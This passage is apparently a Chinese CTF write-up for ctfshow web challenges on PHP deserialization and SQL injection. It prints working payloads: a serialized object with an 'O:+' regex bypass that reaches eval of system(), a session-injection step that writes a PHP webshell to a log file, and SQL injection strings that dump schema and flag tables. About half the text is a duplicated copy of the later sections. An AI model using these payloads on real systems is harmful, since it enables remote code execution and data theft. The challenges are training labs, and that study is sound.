        return $this->user;
    } }

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    } }

$username=$_GET['username']; $password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password); } ```

多了一个正则匹配,尝试绕过

## 构造payload:

```php <?php class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    } } $a = new ctfShowUser(); $a = serialize($a); $a= str_replace('O:', 'O:+',$a);//绕过preg_match echo urlencode($a);

Web259(SoapClient与CRLF组合拳)

image-20211124183318324

题目有一个提示,很明显,要我们x-forwarded-for的值是127.0.0.1,并且post传参token 的值是ctfshow

CRLF注入攻击 CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

Web260


error_reporting(0); highlight_file(__FILE__); include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag; } ```

这次和前几个不一样,这次是序列化,并且不知道类的详细定义

~~尝试用原生类序列化~~

题目有问题,应该是非预期,`只要传参含ctfshow_i_love_36D`就会有flag

## Web261

```php  <?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    } }

unserialize($_GET['vip']);

题目写的是打redis。。没听过,现学

寄,不太会,先放一下

Web262


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0); class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    } }

$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent'; }

highlight_file(__FILE__); ```

~~有点怪,这个题没太看懂什么意思~~

应该是考的字符串逃逸,这里用`loveu`代替`fuck`是字符串增多逃逸,

~~但是不知道有什么用啊=-=~~

题目注释中有提示message.php,访问后得知要使cookie中`token`的值为admin,这里有提示`fuck`被替换为`loveu`是字符串变多,这里使用字符串逃逸

**构造payload:**

`fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:4:"admin";}`

## Web263

![image-20211126194858843](https://img-blog.csdnimg.cn/img_convert/a49e379b89c6ffe97d453d348bd19271.png)

这是真的麻了..没有思路

**师傅们的wp:**

访问www.zip得到源码

审计inc.php,check.php



![image-20220113135521216](https://img-blog.csdnimg.cn/img_convert/a12050c21141ac5f48c2e5b4acdffa89.png)

这里设置了`cookie`的`limit`参数,这里是`session`包含的利用点,并且会base64解码一次

![image-20220113135846758](https://img-blog.csdnimg.cn/img_convert/5ede1100a4e0622d7ff7d6b077fc341d.png)

`check.php`中包含了`inc.php`

![image-20220113135916549](https://img-blog.csdnimg.cn/img_convert/4d9f3ab89ef0df90ee048330c3ff423a.png)

`inc.php`这里有两个函数会调用`session文件`

![image-20220113135945230](https://img-blog.csdnimg.cn/img_convert/58c037adde75c4f13143692d2e38cb82.png)

这里`__destruct`方法会写入文件,可以尝试反序列化注入

```php <?php class User{
    public $username = 'test.php';
    public $password = '<?php system("cat flag.php") ?>'; } $user = new User(); echo(base64_encode('|'.serialize($user))); ?>

会将password的内容写入log-test.php

image-20220113140116035

抓主页的包,修改limit参数,发包

访问check.php,包含session文件

访问log-test.php获得flag

image-20220113140228813

Web264


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0); session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    } }

$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent'; }

highlight_file(__FILE__);

Web265

    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    } }

$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag; }

解题思路:

这里要满足$ctfshow->login()$this->token===$this->password并且ctfshow会接受反序列化的结果,对于ctfshow-password来说较容易满足,但是下面有一个$ctfshow->token=md5(mt_rand())要想办法解决

师傅的解题方法:

这里用到了引用,&可以让一个变量的值随着另一个变量改变而改变

payload:

    public $token;
    public $password;

    public function __construct(){
        $this->password=&$this->token;
    } } echo serialize(new ctfshowAdmin()); ```

## Web266

```php include('flag.php'); $cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1); } ```

**解题思路:**

没思路=-=,这是真没见过这种题,麻了

**师傅们的方法:**

这里用到的是将输入流的数据作为反序列化的内容,所以抓包后提交填充内容即可

这里正则匹配的是`ctfshow`但是没有匹配大小写,另外,类的识别上是没有大小写的,所以我们只要用`Ctfshow`就可以了

payload(这里用的是只序列化了类,里面没放东西,放上东西也是一样的):

```O:7:"Ctfshow":0:{} ```

## Web267(yii链相关,需要回来复习)

![image-20220210140505044](https://img-blog.csdnimg.cn/img_convert/bcc0725e8ffa39c6a87ccb7d16f25e39.png)

打开后是ctfshow的导航页面,访问`www.zip`也没有附件,并且不存在后台

没见过=-=

解题思路: 目前已知和yii有关,不确定是否要用yii链

师傅们的解题思路: 首先是弱密码`admin/admin`登陆,在about页面源码发现提示![image-20220210141303398](https://img-blog.csdnimg.cn/img_convert/610f6e9c1ef9743d5c2197a426325d94.png)

加上后得到

![image-20220210141402245](https://img-blog.csdnimg.cn/img_convert/458731be3e708ec7c73adb0501668429.png)



用网上的poc就能过

## Web268

![image-20220210143703950](https://img-blog.csdnimg.cn/img_convert/5d040aef86f75010ea470ec1e3e511d1.png)

在poc之前的步骤都和上一题一样,但是传参后提示服务器错误,是做了防护,要用其他方法

真不懂yii链啊=-=

## Web269(CVE-2020-15148)

## Web270(CVE-2020-15148)



# JAVA



# 代码审计

## Web301

![image-20211118195629184](https://img-blog.csdnimg.cn/img_convert/2a09069f71dc3fe2a71f4869ccf79f20.png)

源码中得知在满足条件的情况下会跳转至index.php,尝试直接访问,但是会被跳转到登录页面,我们尝试使用bp抓包访问页面,发现302在跳转时会先访问一遍,在源码中获得flag

## web302

继续抓包伪跳转

## Web303(纪念第一个完全由自己做出来的题目)

这次抓包页面没有提示了,尝试看看源码

![image-20211119173903794](https://img-blog.csdnimg.cn/img_convert/d753b9513bda2e2a487437211af572a5.png)

基本逻辑没变,但是多了一个`fun.php`

![image-20211119173930182](https://img-blog.csdnimg.cn/img_convert/2e79e48abebd0f71ff74dfbc4479f599.png)

对应的是一个加密函数

![image-20211119174007178](https://img-blog.csdnimg.cn/img_convert/f7020435577cb4c74ce0a8e86c606eac.png)

突然发现题目附件里给了一个sql文件

![image-20211119181559226](https://img-blog.csdnimg.cn/img_convert/386c79192de574b98992f2aeb515f600.png)

里面显示插入的`sds_user`表里的三个值分别是`'1','admin','27151b7b1ad51a38ea66b1529cde5ee4'`,分别对应的应该是`id,username,password`,由源码得知`'27151b7b1ad51a38ea66b1529cde5ee4'`是传入admin后的加密结果

**构造payload:**

`userid=admin&userpwd=admin`

进入后应该是开始注入=-=

找到注入点

`dptadd.php`

![image-20211119184723875](https://img-blog.csdnimg.cn/img_convert/8cf978b652b062d9d47d1cdebb356e87.png)

简单的`'`闭合,插入我们想要的值就行,字段个数和名也都告诉我们了(这里注意,post传参别把后面的字段名改了,改名的只有name)

**构造payload:**

`dpt_name=45',sds_address=database(),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

![image-20211119184837481](https://img-blog.csdnimg.cn/img_convert/1fa65866060b436a3ae64aa4c1ba3766.png)

插入成功

继续查

`dpt_name=45',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

![image-20211119184933536](https://img-blog.csdnimg.cn/img_convert/b3e62dad92ade37b239b2fa31384e2c8.png)

查询`sds_fl9g`表里的字段(**别用学校服务器的网做题。。又给拦了**)

`dpt_name=55',sds_address=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g'),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

![image-20211119185230923](https://img-blog.csdnimg.cn/img_convert/77830ff15ad92d2ea860134c4d9580c1.png)

获得flag

`dpt_name=566',sds_address=(select flag from sds_fl9g),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

![image-20211119185412207](https://img-blog.csdnimg.cn/img_convert/ea70fad2a04763c37af705e9cbe76972.png)

!!!!!!!!!!!!!!我超,这是第一个完全自己做出来的题我超!!!!!!!!!!!!!!

## Web304

题目说增加了全局waf,不过好像没用到啊..

## Web305

![image-20211120163332040](https://img-blog.csdnimg.cn/img_convert/198cd25094dbb959f8dc46694ee42f67.png)

用户名和密码这里还是没有变

`username=admin&password=admin`登陆

没用啊,所有方法都试了,暂时先放一下,明天再想想看-----------2021/11/20

# 终极考核

## Web640

题目页面就是flag

## Web641

抓包获取flag
= new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent'; }

highlight_file(__FILE__); ```

~~有点怪,这个题没太看懂什么意思~~

应该是考的字符串逃逸,这里用`loveu`代替`fuck`是字符串增多逃逸,

~~但是不知道有什么用啊=-=~~

题目注释中有提示message.php,访问后得知要使cookie中`token`的值为admin,这里有提示`fuck`被替换为`loveu`是字符串变多,这里使用字符串逃逸

**构造payload:**

`fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:4:"admin";}`

## Web263

[外链图片转存中...(img-sCqtBpzJ-1664627924632)]

这是真的麻了..没有思路

**师傅们的wp:**

访问www.zip得到源码

审计inc.php,check.php



[外链图片转存中...(img-LjQFWrIa-1664627924633)]

这里设置了`cookie`的`limit`参数,这里是`session`包含的利用点,并且会base64解码一次

[外链图片转存中...(img-gn4dKNoc-1664627924633)]

`check.php`中包含了`inc.php`

[外链图片转存中...(img-z5hsrNDu-1664627924633)]

`inc.php`这里有两个函数会调用`session文件`

[外链图片转存中...(img-64ij7gLy-1664627924633)]

这里`__destruct`方法会写入文件,可以尝试反序列化注入

```php <?php class User{
    public $username = 'test.php';
    public $password = '<?php system("cat flag.php") ?>'; } $user = new User(); echo(base64_encode('|'.serialize($user))); ?>

会将password的内容写入log-test.php

[外链图片转存中…(img-Kz2RBCDk-1664627924634)]

抓主页的包,修改limit参数,发包

访问check.php,包含session文件

访问log-test.php获得flag

[外链图片转存中…(img-NKCHcgFQ-1664627924634)]

Web264


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0); session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    } }

$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent'; }

highlight_file(__FILE__);

Web265

    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    } }

$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag; }

解题思路:

这里要满足$ctfshow->login()$this->token===$this->password并且ctfshow会接受反序列化的结果,对于ctfshow-password来说较容易满足,但是下面有一个$ctfshow->token=md5(mt_rand())要想办法解决

师傅的解题方法:

这里用到了引用,&可以让一个变量的值随着另一个变量改变而改变

payload:

    public $token;
    public $password;

    public function __construct(){
        $this->password=&$this->token;
    } } echo serialize(new ctfshowAdmin()); ```

## Web266

```php include('flag.php'); $cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1); } ```

**解题思路:**

没思路=-=,这是真没见过这种题,麻了

**师傅们的方法:**

这里用到的是将输入流的数据作为反序列化的内容,所以抓包后提交填充内容即可

这里正则匹配的是`ctfshow`但是没有匹配大小写,另外,类的识别上是没有大小写的,所以我们只要用`Ctfshow`就可以了

payload(这里用的是只序列化了类,里面没放东西,放上东西也是一样的):

```O:7:"Ctfshow":0:{} ```

## Web267(yii链相关,需要回来复习)

[外链图片转存中...(img-T4uqVL90-1664627924634)]

打开后是ctfshow的导航页面,访问`www.zip`也没有附件,并且不存在后台

没见过=-=

解题思路: 目前已知和yii有关,不确定是否要用yii链

师傅们的解题思路: 首先是弱密码`admin/admin`登陆,在about页面源码发现提示[外链图片转存中...(img-Had8Zggh-1664627924634)]

加上后得到

[外链图片转存中...(img-4PcAujbH-1664627924635)]



用网上的poc就能过

## Web268

[外链图片转存中...(img-yBCeB7sh-1664627924635)]

在poc之前的步骤都和上一题一样,但是传参后提示服务器错误,是做了防护,要用其他方法

真不懂yii链啊=-=

## Web269(CVE-2020-15148)

## Web270(CVE-2020-15148)



# JAVA



# 代码审计

## Web301

[外链图片转存中...(img-7TD45pdP-1664627924635)]

源码中得知在满足条件的情况下会跳转至index.php,尝试直接访问,但是会被跳转到登录页面,我们尝试使用bp抓包访问页面,发现302在跳转时会先访问一遍,在源码中获得flag

## web302

继续抓包伪跳转

## Web303(纪念第一个完全由自己做出来的题目)

这次抓包页面没有提示了,尝试看看源码

[外链图片转存中...(img-5BauA9ff-1664627924635)]

基本逻辑没变,但是多了一个`fun.php`

[外链图片转存中...(img-CKGDDdMc-1664627924635)]

对应的是一个加密函数

[外链图片转存中...(img-9XaCo7ax-1664627924636)]

突然发现题目附件里给了一个sql文件

[外链图片转存中...(img-D3fRrNZK-1664627924636)]

里面显示插入的`sds_user`表里的三个值分别是`'1','admin','27151b7b1ad51a38ea66b1529cde5ee4'`,分别对应的应该是`id,username,password`,由源码得知`'27151b7b1ad51a38ea66b1529cde5ee4'`是传入admin后的加密结果

**构造payload:**

`userid=admin&userpwd=admin`

进入后应该是开始注入=-=

找到注入点

`dptadd.php`

[外链图片转存中...(img-vCAXRyae-1664627924636)]

简单的`'`闭合,插入我们想要的值就行,字段个数和名也都告诉我们了(这里注意,post传参别把后面的字段名改了,改名的只有name)

**构造payload:**

`dpt_name=45',sds_address=database(),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

[外链图片转存中...(img-8nDlHrgT-1664627924636)]

插入成功

继续查

`dpt_name=45',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

[外链图片转存中...(img-rnpbwe6M-1664627924637)]

查询`sds_fl9g`表里的字段(**别用学校服务器的网做题。。又给拦了**)

`dpt_name=55',sds_address=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g'),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

[外链图片转存中...(img-rvhCWZLS-1664627924637)]

获得flag

`dpt_name=566',sds_address=(select flag from sds_fl9g),sds_build_date='2020-12-17 11:47:52',sds_have_safe_card='0',sds_safe_card_num='2',sds_telephone='3'#`

[外链图片转存中...(img-bMzpY00X-1664627924637)]

!!!!!!!!!!!!!!我超,这是第一个完全自己做出来的题我超!!!!!!!!!!!!!!

## Web304

题目说增加了全局waf,不过好像没用到啊..

## Web305

[外链图片转存中...(img-jvBF47Gt-1664627924637)]

用户名和密码这里还是没有变

`username=admin&password=admin`登陆

没用啊,所有方法都试了,暂时先放一下,明天再想想看-----------2021/11/20

# 终极考核

## Web640

题目页面就是flag

## Web641

抓包获取flag 

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐